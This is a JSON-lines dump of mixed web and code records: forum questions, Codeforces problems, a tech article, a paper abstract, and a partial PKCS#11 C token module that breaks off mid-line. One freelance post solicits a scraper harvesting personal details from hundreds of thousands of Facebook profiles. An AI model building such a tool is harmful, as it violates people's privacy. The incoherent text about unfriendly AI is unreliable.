"cpt_opc_fineweb_code"}
    {"text": "For the purpose of an app I need to be able to perform some actions, either via apex code or workflow/process builder to update another object, however I can’t seem to find a documented way to do it. Is it possible on the platform\nIf TestField__c on Account is deleted (or the type is changed) the object Object_Status__c needs to be notified and register it. So I need the api name of the field and the action that was taken on it.\nThere isn’t currently a native way to detect and take actions immediately after a change to the Metadata occurs.\nAs kurunve commented, there is the SetupAuditTrail in the SOAP API.\nRepresents changes you or other admins made in your org’s Setup area for at least the last 180 days.\nYou would need to poll this on an interval to detect the change.\nLikewise, you could also directly poll and compare metadata to detect changes such as a field added or deleted.\nThere was a discussion along similar lines on twitter recently about having an automation point to detect metadata changes. My position was that a trigger isn’t really the right place for such automation. A trigger that is itself described in metadata doesn’t seem like a great place to monitor metadata changes.\nPlatform events however would be useful for this as they would execute outside the actual deployment.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I will provide list of FB profile names (no user ID's or profile names), and possibly some public phone numbers.\nYour script or app will bring following results:\n-Should be able to work flawlessly for 100's of thousands of profiles\n- FB users' all the liked pages list\n- User ID's\n- Profile links\n- Age, sex, location, occupation,... any other available information.\n- in CSV file format\n4 freelance font une offre moyenne de $209 pour ce travail\nI have 2 and a hald years of experience in making Android apps. I'm sure i can satisfy your conditions and make a very nice app. If you want further details you can contact me. Thank you\nI am very tech savvy and know how to navigate Facebook. I'm efficient and thorough. I'm also a perfectionist by nature and this is reflected in my work as well.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "K-Fault Tolerance of the Internet AS Graph\nInternet disruptions such as the Northeast Blackout and the Taiwan earthquake highlight the fragility of today's Internet. The authors' goal in this paper is to investigate the robustness of inter-domain communication at the level of Autonomous Systems (ASes), taking into account both topological connectivity and compliance to routing policies. To this end, they introduce the concept of k-fault tolerance for Type-of-Relationship (ToR) graphs, which requires that any two nodes (ASes) remain reachable from each other even after removing arbitrary k nodes from the AS graph. Their main contribution is theoretical and concerns the complexity of the k-fault tolerance decision problem.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given a sequence of $$$n$$$ pairs of integers: $$$(a_1, b_1), (a_2, b_2), \\dots , (a_n, b_n)$$$. This sequence is called bad if it is sorted in non-descending order by first elements or if it is sorted in non-descending order by second elements. Otherwise the sequence is good. There are examples of good and bad sequences:\n\n- $$$s = [(1, 2), (3, 2), (3, 1)]$$$ is bad because the sequence of first elements is sorted: $$$[1, 3, 3]$$$;\n- $$$s = [(1, 2), (3, 2), (1, 2)]$$$ is bad because the sequence of second elements is sorted: $$$[2, 2, 2]$$$;\n- $$$s = [(1, 1), (2, 2), (3, 3)]$$$ is bad because both sequences (the sequence of first elements and the sequence of second elements) are sorted;\n- $$$s = [(1, 3), (3, 3), (2, 2)]$$$ is good because neither the sequence of first elements $$$([1, 3, 2])$$$ nor the sequence of second elements $$$([3, 3, 2])$$$ is sorted.\n\nCalculate the number of permutations of size $$$n$$$ such that after applying this permutation to the sequence $$$s$$$ it turns into a good sequence.\n\nA permutation $$$p$$$ of size $$$n$$$ is a sequence $$$p_1, p_2, \\dots , p_n$$$ consisting of $$$n$$$ distinct integers from $$$1$$$ to $$$n$$$ ($$$1 \\le p_i \\le n$$$). If you apply permutation $$$p_1, p_2, \\dots , p_n$$$ to the sequence $$$s_1, s_2, \\dots , s_n$$$ you get the sequence $$$s_{p_1}, s_{p_2}, \\dots , s_{p_n}$$$. For example, if $$$s = [(1, 2), (1, 3), (2, 3)]$$$ and $$$p = [2, 3, 1]$$$ then $$$s$$$ turns into $$$[(1, 3), (2, 3), (1, 2)]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 510, "token_count_with_eod": 511, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "A compass points directly toward the morning star. It can only point in one of eight directions: the four cardinal directions (N, S, E, W) or some combination (NW, NE, SW, SE). Otherwise, it will break.\n\nThe directions the compass can point.\n\nThere are $$$n$$$ distinct points with integer coordinates on a plane. How many ways can you put a compass at one point and the morning star at another so that the compass does not break?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Paramount of a system to test, recognize, and to increasingly be able to successfully correct or compensate for unfriendly AI is to learn how. I requires to establish and promote time and date when this can be done.\nThe time when this research is beginning to bear fruit must lay sufficiently before an undefined procedure (unfriendly or mistaken) is acting to wipe out the human race.\nA secure environment for an intellectual learning effort on friendly AI is not officially under control or publicly unknown. Short of humans who are learning it, AI must probably control it in a secure location, most likely an oceanic submarine tower resembling nuclear bunker protection against violent destruction.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Socket for GitHub\nDetect suspicious packages in PRs\nUse Socket from the command line\nSocket Dependency Search\nFind any package for your project\nWant to read all the docs? Start here\nKeep up to date with all the news\nCheck out our customer stories\nA flexible admin panel for CRUD operations on various data.\nWeb administrative panel module\nAn Minecraft Plugin to control your Server!\nA admin panel for all trigyn core apps", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 89, "token_count_with_eod": 90, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This question type provides answer choices for the respondent to choose from - like a multiple-choice question. These questions provide you with quantitative data to use in your analysis. On YouGov Surveys you can also use images in close-ended answer options.\nThis question type asks the respondent for feedback in their own words. Since open-ended questions can take much longer to answer and analyse, we only recommend using a few in your survey. Please note: YouGov Surveys does NOT offer coding or analysis of open-ended questions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Vasily exited from a store and now he wants to recheck the total price of all purchases in his bill. The bill is a string in which the names of the purchases and their prices are printed in a row without any spaces. Check has the format \"name1price1name2price2...namenpricen\", where namei (name of the i-th purchase) is a non-empty string of length not more than 10, consisting of lowercase English letters, and pricei (the price of the i-th purchase) is a non-empty string, consisting of digits and dots (decimal points). It is possible that purchases with equal names have different prices.\n\nThe price of each purchase is written in the following format. If the price is an integer number of dollars then cents are not written.\n\nOtherwise, after the number of dollars a dot (decimal point) is written followed by cents in a two-digit format (if number of cents is between 1 and 9 inclusively, there is a leading zero).\n\nAlso, every three digits (from less significant to the most) in dollars are separated by dot (decimal point). No extra leading zeroes are allowed. The price always starts with a digit and ends with a digit.\n\nFor example:\n\n- \"234\", \"1.544\", \"149.431.10\", \"0.99\" and \"123.05\" are valid prices,\n- \".333\", \"3.33.11\", \"12.00\", \".33\", \"0.1234\" and \"1.2\" are not valid.\n\nWrite a program that will find the total price of all purchases in the given bill.", "source": "cpt_codeforces", "language": "en", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "This is a harder version of the problem E with larger constraints.\n\nTwilight Sparkle has received a new task from Princess Celestia. This time she asked to decipher the ancient scroll containing important knowledge of pony origin.\n\nTo hide the crucial information from evil eyes, pony elders cast a spell on the scroll. That spell adds exactly one letter in any place to each word it is cast on. To make the path to the knowledge more tangled elders chose some of words in the scroll and cast a spell on them.\n\nTwilight Sparkle knows that the elders admired the order in all things so the scroll original scroll contained words in lexicographically non-decreasing order. She is asked to delete one letter from some of the words of the scroll (to undo the spell) to get some version of the original scroll.\n\nUnfortunately, there may be more than one way to recover the ancient scroll. To not let the important knowledge slip by Twilight has to look through all variants of the original scroll and find the required one. To estimate the maximum time Twilight may spend on the work she needs to know the number of variants she has to look through. She asks you to find that number! Since that number can be very big, Twilight asks you to find it modulo $$$10^9+7$$$.\n\nIt may occur that princess Celestia has sent a wrong scroll so the answer may not exist.\n\nA string $$$a$$$ is lexicographically smaller than a string $$$b$$$ if and only if one of the following holds:\n\n- $$$a$$$ is a prefix of $$$b$$$, but $$$a \\ne b$$$;\n- in the first position where $$$a$$$ and $$$b$$$ differ, the string $$$a$$$ has a letter that appears earlier in the alphabet than the corresponding letter in $$$b$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "The upcoming OS update to Windows Phone 7 shows a lot of promise.\nI was invited to Microsoft’s Mango preview event last week- the codename for the upcoming update for Windows Phone 7. Landing later this year in September, Mango might be called Windows Phone 7.5 and will bring over 500 new features to the platform.\nMango will be a free update for all current Windows Phone 7 devices, however, do expect new phone launches as well from companies like Acer, Nokia and Fujitsu|Toshiba. What shouldn’t be expected is a major hardware refresh as one of the Microsoft reps answered when I asked. No dual core or retina displays for Windows Phone 7 with Mango.\nComing to those 500 new features, I must say that Microsoft has made some great progress with the update and it’s looking to be pretty sweet- hence the codename Mango. One of the biggest features added to the Windows Phone 7 platform is that the phone now supports multi tasking and applications can be multi-threaded as well. Holding down the back key brings you a deck of cards, each representing a snapshot of the application in its current state which is a much nicer implementation than the icon views that iOS, Android or BlackBerry OS currently offer.\nSpeaking of BlackBerry, Microsoft is borrowing a couple of features from RIM such as the Universal Inbox that displays everything from your emails and text messages to Facebook, twitter and instant messages. Like RIM, the Twitter and Facebook apps are designed by Microsoft internally to integrate tightly with the OS. Microsoft has also added LinkedIn to the mix which should give you a wealth of information for your personal as well as professional contacts.\nAnother awesome new feature is messaging to groups. You can define groups like family or friends and whenever you send a message to this group, each individual receives the message based on the platform they use- so for example, one person could receive that message in Facebook, while someone who doesn’t have Facebook could get a text message or an IM. It’s a brilliant idea and it should also work with sharing pictures.\nOne more feature I really liked is that all your communications with a contact is neatly stored in that contact’s profile. So when you pull up a contact, you can see how and what you have communicated with that person- be it on a social network, over email or an instant messaging.\nLast but certainly not the least is Bing’s Vision Search feature that lets you take a picture of something with a barcode or a book or even a CD/DVD and Mango recognizes that and pulls up information such as reviews or places selling that particular item inn Bing. I’m not sure how well that would be integrated in the region but at least it works.\nSadly, full built-in Arabic support hasn’t made the cut in Mango so you will have to rely on third party applications or handset manufacturers to specifically add this. From what we hear, Nokia should be doing that with their first handset launch later this year. On the bright side, Microsoft has opened up a lot more APIs including ones that can access your Address Book and Calendar so expect apps like WhatsApp to make an appearance soon on your Windows Phone.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 648, "token_count_with_eod": 649, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I was wondering if there is a global setting for subscription-manager you can use to change the behaviour that enables custom repositories by default.\nI know it is possible to change Product Content defaults on activation key basis but this only affects repos that currently exist in Satellite, it doesn´t affect repos that I add after the activation key has been created.\nThis means that as soon as I add another repo to a custom product and publishes the content view, the repo will be enabled on ALL existing hosts that are using the content view.\nWelcome! Check out the Getting Started with Red Hat page for quick tours and guides for common tasks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Hi, first-time PC builder here. I'm narrowing down my part selections so I can hopefully order them on Black Friday. My question is, can any of you PC vets foresee any problems that might occur with these parts? Or will they all play nicely together? AMD PhenomII X4 955BE 3.2GHz 6MB Quad-Core 125W ASRock 880G EXTREME3 AM3 AMD 880G HDMI SATA 6GB/s USB 3.0 ATX AMD Motherboard G.SKILL 4GB (2 x 2GB) DDR3 1600 CAS 9 Two SAPPHIRE Radeon HD 6850s in Crossfire Western Digital Caviar Black 1TB 64mb Cache 7200RPM 6.0GB/s LITE-ON Black 24X SATA CD/DVD Burner Antec TruePower TP-750 750W 80+ Certified Crossfire Ready Antec Three Hundred Illusion Black Steel ATX Mid Tower Computer Case Zalman CNPS10X Performa CPU Cooler ARCTIC COOLING MX-4 Thermal Compound Also: Does anybody know where I might be able to snag some nice Black Friday deals on any of these components? Thanks!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "In my place, we use two issue tracking tools, one for production bugs, and another for issues on projects in development. These tools are good for managers. However, at an individual level, other work can also arrive through desk visits, email, or the phone, and those allocating the work aren't always interested in issue tracking systems.\nI've recently rolled off an 18-month project where I got into a cycle of overtime, and I found that I didn't always have good visibility of all work assigned to me. As a result, I was always very busy, and felt constantly laden down with work, but didn't have the clear data to show my manager (or, ironically, the time to stop and gather the information!).\nA handwritten list, updated at the end of each day, is a good start, but can anyone recommend better tools to help me get a clear view of my own workload? Ideally, I'm thinking of software tools for developers, which could incorporate estimates, but all suggestions welcome.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 207, "token_count_with_eod": 208, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Andrewid the Android is a galaxy-famous detective. Now he is busy with a top secret case, the details of which are not subject to disclosure.\n\nHowever, he needs help conducting one of the investigative experiment. There are n pegs put on a plane, they are numbered from 1 to n, the coordinates of the i-th of them are (xi, 0). Then, we tie to the bottom of one of the pegs a weight on a tight rope of length l (thus, its coordinates will be equal to (xi,  - l), where i is the number of the used peg). Then the weight is pushed to the right, so that it starts to rotate counterclockwise. At the same time, if the weight during rotation touches some of the other pegs, it then begins to rotate around that peg. Suppose that each peg itself is very thin and does not affect the rope length while weight is rotating around it.\n\nMore formally, if at some moment the segment of the rope contains one or more pegs in addition to the peg around which the weight is rotating, the weight will then rotate around the farthermost one of them on a shorter segment of a rope. In particular, if the segment of the rope touches some peg by its endpoint, it is considered that the weight starts to rotate around that peg on a segment of the rope of length 0.\n\nAt some moment the weight will begin to rotate around some peg, without affecting the rest of the pegs. Andrewid interested in determining the number of this peg.\n\nAndrewid prepared m queries containing initial conditions for pushing the weight, help him to determine for each of them, around what peg the weight will eventually rotate.", "source": "cpt_codeforces", "language": "en", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Welcome back to Tech18.com ,we all are fond of sending messages to our friends and others if it is free and through internet. Here a list of Hundreds of sites to send free SMS. You can try them and enjoy free smsing.\nWelcome back to Tech18.com, today we are going to learn how to change the owner name or the registered name in Windows XP. Following are the steps to change the owner name:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 89, "token_count_with_eod": 90, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "/*\n *  Copyright 2011-2016 The Pkcs11Interop Project\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\n/*\n *  Written for the Pkcs11Interop project by:\n *  Jaroslav IMRICH \n */\n\n\n#include \"pkcs11.h\"\n#include \"../comms.h\"\n\n#define MAX_SESSIONS 1\n#define MAX_SLOTS 1\t// App só suport 1 token\n\n#define P11_NUM_OPS 2\n#define P11_OP_VERIFY 0\n#define P11_OP_ENCRYPT 1\n\ntypedef struct p11_object_s {\n\tCK_OBJECT_CLASS oClass;\n\tCK_KEY_TYPE oType;\n\tCK_BBOOL oToken;\n\tCK_BYTE id[ID_SIZE];\n\tCK_BYTE id_size;\n\tCK_BYTE oValue[PUB_KEY_SIZE];\n\tCK_ULONG oValueLen;\n} p11_object;\n\ntypedef struct p11_session_s {\n\tCK_SESSION_INFO_PTR session;\n\tCK_BYTE operation[P11_NUM_OPS];\n\tCK_BYTE op_code;\n\n\tp11_object obj; // Object - array of atrributes\n} p11_session;\n\np11_session s;\n\n// GLOBAL VARIABLES\nCK_BBOOL init = CK_FALSE;\nCK_BYTE session_count;\nuint32_t pipe_fd;\t// Pipe descriptor\n\nstruct request req;\t// request structure\nstruct response resp;\t// response structure\n\n\n// p11_slot g_slots[MAX_SLOTS];\n\n// std::vector devices_list; // the index represents the slotID (so the same device pointer may be in multiple indexes)\n// std::vector g_sessions;\n\nCK_FUNCTION_LIST pkcs11_functions = \n{\n\t{2, 20},\n\t&C_Initialize,\n\t&C_Finalize,\n\t&C_GetInfo,\n\t&C_GetFunctionList,\n\t&C_GetSlotList,\n\t&C_GetSlotInfo,\n\t&C_GetTokenInfo,\n\t&C_GetMechanismList,\n\t&C_GetMechanismInfo,\n\t&C_InitToken,\n\t&C_InitPIN,\n\t&C_SetPIN,\n\t&C_OpenSession,\n\t&C_CloseSession,\n\t&C_CloseAllSessions,\n\t&C_GetSessionInfo,\n\t&C_GetOperationState,\n\t&C_SetOperationState,\n\t&C_Login,\n\t&C_Logout,\n\t&C_CreateObject,\n\t&C_CopyObject,\n\t&C_DestroyObject,\n\t&C_GetObjectSize,\n\t&C_GetAttributeValue,\n\t&C_SetAttributeValue,\n\t&C_FindObjectsInit,\n\t&C_FindObjects,\n\t&C_FindObjectsFinal,\n\t&C_EncryptInit,\n\t&C_Encrypt,\n\t&C_EncryptUpdate,\n\t&C_EncryptFinal,\n\t&C_DecryptInit,\n\t&C_Decrypt,\n\t&C_DecryptUpdate,\n\t&C_DecryptFinal,\n\t&C_DigestInit,\n\t&C_Digest,\n\t&C_DigestUpdate,\n\t&C_DigestKey,\n\t&C_DigestFinal,\n\t&C_SignInit,\n\t&C_Sign,\n\t&C_SignUpdate,\n\t&C_SignFinal,\n\t&C_SignRecoverInit,\n\t&C_SignRecover,\n\t&C_VerifyInit,\n\t&C_Verify,\n\t&C_VerifyUpdate,\n\t&C_VerifyFinal,\n\t&C_VerifyRecoverInit,\n\t&C_VerifyRecover,\n\t&C_DigestEncryptUpdate,\n\t&C_DecryptDigestUpdate,\n\t&C_SignEncryptUpdate,\n\t&C_DecryptVerifyUpdate,\n\t&C_GenerateKey,\n\t&C_GenerateKeyPair,\n\t&C_WrapKey,\n\t&C_UnwrapKey,\n\t&C_DeriveKey,\n\t&C_SeedRandom,\n\t&C_GenerateRandom,\n\t&C_GetFunctionStatus,\n\t&C_CancelFunction,\n\t&C_WaitForSlotEvent\n};\n\n/*\n\tInitializes Cryptoki\n\tSince we don't support multi-threading, the argument must be NULL\n\n*/\nCK_DEFINE_FUNCTION(CK_RV, C_Initialize)(CK_VOID_PTR pInitArgs)\n{\n\tif (pInitArgs != NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tif (init)\n\t\treturn CKR_CRYPTOKI_ALREADY_INITIALIZED;\n\n\t// add slot for HSM token\n\t// HSM * g_hsm = new HSM();\n\t// if (!g_hsm->init())\n\t//         return CKR_FUNCTION_FAILED;\n\n\tsession_count = 0;\n\tinit = CK_TRUE;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Finalize)(CK_VOID_PTR pReserved)\n{\n\tif (pReserved != NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tsession_count = 0;\n\n\tinit = CK_FALSE;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetInfo)(CK_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetFunctionList)(CK_FUNCTION_LIST_PTR_PTR ppFunctionList)\n{\n\tif (NULL == ppFunctionList)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\t*ppFunctionList = &pkcs11_functions;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSlotList)(CK_BBOOL tokenPresent, CK_SLOT_ID_PTR pSlotList, CK_ULONG_PTR pulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSlotInfo)(CK_SLOT_ID slotID, CK_SLOT_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetTokenInfo)(CK_SLOT_ID slotID, CK_TOKEN_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetMechanismList)(CK_SLOT_ID slotID, CK_MECHANISM_TYPE_PTR pMechanismList, CK_ULONG_PTR pulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetMechanismInfo)(CK_SLOT_ID slotID, CK_MECHANISM_TYPE type, CK_MECHANISM_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_InitToken)(CK_SLOT_ID slotID, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen, CK_UTF8CHAR_PTR pLabel)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_InitPIN)(CK_SESSION_HANDLE hSession, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 2: Set new authentication PIN\nCK_DEFINE_FUNCTION(CK_RV, C_SetPIN)(CK_SESSION_HANDLE hSession, CK_UTF8CHAR_PTR pOldPin, CK_ULONG ulOldLen, CK_UTF8CHAR_PTR pNewPin, CK_ULONG ulNewLen)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\n\tif (ulNewLen != (PIN_SIZE-2) || pNewPin == NULL)\n\t\treturn CKR_PIN_INVALID;\n\t\n\tif(HSM_C_ChooseOpCode(hSession, 2) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send_to_connection(pipe_fd, pOldPin, ulOldLen);\n\t// receive_from_connection(pipe_fd, &status, sizeof(status));\n\n\t// if (!status)\n\t//         return CKR_PIN_INCORRECT;\n\n\tsend_to_connection(pipe_fd, pNewPin, ulNewLen);\n\n\tif (!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\treturn CKR_OK;\n}\n\n// CK_DEFINE_FUNCTION(CK_RV, C_OpenSession)(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication, CK_NOTIFY Notify, CK_SESSION_HANDLE_PTR phSession)\n// {\n//         uint8_t pub[96], priv[48];\n//         uint8_t buf[128], gen_key[KEY_SIZE*2];\n//         uint8_t buf_len, pub_len;\n//         int ret;\n//\n//         if (!init)\n//                 return CKR_CRYPTOKI_NOT_INITIALIZED;\n//\n//         if (session_count < MAX_SESSIONS)\n//                 session_count++;\n//         else\n//                 return CKR_SESSION_COUNT;\n//\n//         // start session\n//         s.session = (CK_SESSION_INFO*)malloc(sizeof(CK_SESSION_INFO));\n//         s.session->slotID = slotID;\n//         s.session->flags = flags;\n//         s.session->ulDeviceError = 0;\n//         s.session->state = 0;\n//\n//         s.operation[P11_OP_ENCRYPT] = 0;\n//         s.operation[P11_OP_VERIFY] = 0;\n//         s.op_code = 0;\n//\n//         // s.obj = NULL_PTR; // Object\n//         *phSession = session_count-1;\n//\n//         printf (\"Exchanging keys...\\n\");\n//\n//         // Generate public key pair\n//         if ((ret = mbed_gen_pair_scalar(priv, pub)) != 0)\n//                 printf (\"Error generating key pair: %d\\n\", ret);\n//\n//         // Send public key\n//         pub_len = 96;\n//         send_plain(pipe_fd, &pub_len, 1);\n//         send_plain(pipe_fd, pub, pub_len);\n//\n//         // Receive peer's public key\n//         receive_plain(pipe_fd, &pub_len, 1);\n//         receive_plain(pipe_fd, pub, pub_len);\n//\n//         // Generate secret with ECDH\n//         if ((ret = mbed_ecdh_scalar(priv, pub, buf, (size_t *)&buf_len)) != 0)\n//                 printf (\"Error ECDH: %d\\n\", ret);\n//\n//         // Derivate key with SHA-256\n//         if ((ret = mbed_sha256(buf, buf_len, gen_key)) != 0)\n//                 printf (\"Error SHA256: %d\\n\", ret);\n//\n//         init_key (gen_key);\n//\n//         printf (\"Symmetric Key: %s\\n\", (char *)gen_key);\n//\n//         return CKR_OK;\n// }\n\nCK_DEFINE_FUNCTION(CK_RV, C_OpenSession)(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication, CK_NOTIFY Notify, CK_SESSION_HANDLE_PTR phSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (session_count < MAX_SESSIONS)\n\t\tsession_count++;\n\telse\n\t\treturn CKR_SESSION_COUNT;\n\n\t// start session\n\ts.session = (CK_SESSION_INFO*)malloc(sizeof(CK_SESSION_INFO)); \n\ts.session->slotID = slotID;\n\ts.session->flags = flags;\n\ts.session->ulDeviceError = 0;\n\ts.session->state = 0;\n\n\ts.operation[P11_OP_ENCRYPT] = 0;\n\ts.operation[P11_OP_VERIFY] = 0;\n\ts.op_code = 0;\n\n\t// s.obj = NULL_PTR; // Object\n\t*phSession = session_count-1;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CloseSession)(CK_SESSION_HANDLE hSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (s.session == NULL_PTR)\n\t\treturn CKR_SESSION_HANDLE_INVALID;\n\n\t// start session\n\tsession_count--;\n\tfree(s.session);\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CloseAllSessions)(CK_SLOT_ID slotID)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSessionInfo)(CK_SESSION_HANDLE hSession, CK_SESSION_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetOperationState)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pOperationState, CK_ULONG_PTR pulOperationStateLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SetOperationState)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pOperationState, CK_ULONG ulOperationStateLen, CK_OBJECT_HANDLE hEncryptionKey, CK_OBJECT_HANDLE hAuthenticationKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n// Operation 1: Authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_Login)(CK_SESSION_HANDLE hSession, CK_USER_TYPE userType, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen)\n{\n\tCK_BYTE ret, status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (ulPinLen != (PIN_SIZE-2) || pPin == NULL)\n\t\treturn CKR_PIN_INVALID;\n\t\n\tHSM_C_ChooseOpCode(hSession, 1);\n\t// if (ret != CKR_OK)\n\t//         return ret;\n\n\tsend_to_connection(pipe_fd, pPin, ulPinLen);\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tif (status == 0)\n\t\tret = CKR_FUNCTION_FAILED;\n\telse\n\t\tret = CKR_OK;\n\n\treturn ret;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Logout)(CK_SESSION_HANDLE hSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 10) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\tprintf (\"[CLIENT] Sending logout request\\n\");\n\twaitOK(pipe_fd);\n\n\treturn CKR_OK;\n}\n\n\n// Can be used to create a new object on HSM\n// Usefull for new certificate\n// Operation 7: import public key certificate\nCK_DEFINE_FUNCTION(CK_RV, C_CreateObject)(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phObject)\n{\n\tCK_LONG p = 0;\n\tCK_BYTE r;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\tif (pTemplate == NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tfor (p = 0; p < ulCount; p++)\n\t{\n\t\tif (pTemplate[p].type == CKA_CLASS)\n\t\t\ts.obj.oClass = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_CERTIFICATE_TYPE || pTemplate[p].type == CKA_KEY_TYPE)\n\t\t\ts.obj.oType = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_TOKEN)\n\t\t\ts.obj.oToken = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_ID)\n\t\t{\n\t\t\tmemcpy (s.obj.id, pTemplate[p].pValue, pTemplate[p].ulValueLen);\n\t\t\ts.obj.id_size = pTemplate[p].ulValueLen;\n\t\t}\n\t\telse if (pTemplate[p].type == CKA_VALUE && sizeof(s.obj.oValue) >= pTemplate[p].ulValueLen)\n\t\t{\n\t\t\tmemcpy (s.obj.oValue, pTemplate[p].pValue, pTemplate[p].ulValueLen);\n\t\t\ts.obj.oValueLen = pTemplate[p].ulValueLen;\n\t\t}\n\t}\n\t*phObject = 1;\n\tr = CKR_OK;\n\n\t// if its to store on the server - its a certificate\n\tif (r == CKR_OK && s.obj.oType == 